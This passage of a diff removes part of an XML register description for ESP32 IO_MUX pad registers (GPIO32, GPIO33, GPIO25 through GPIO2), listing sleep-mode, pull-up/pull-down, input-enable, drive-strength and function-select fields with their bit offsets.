-        </register>
-        <register>
-          <name>GPIO32</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO33</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO25</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO26</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO27</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO14</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO12</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO13</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO15</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO2</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
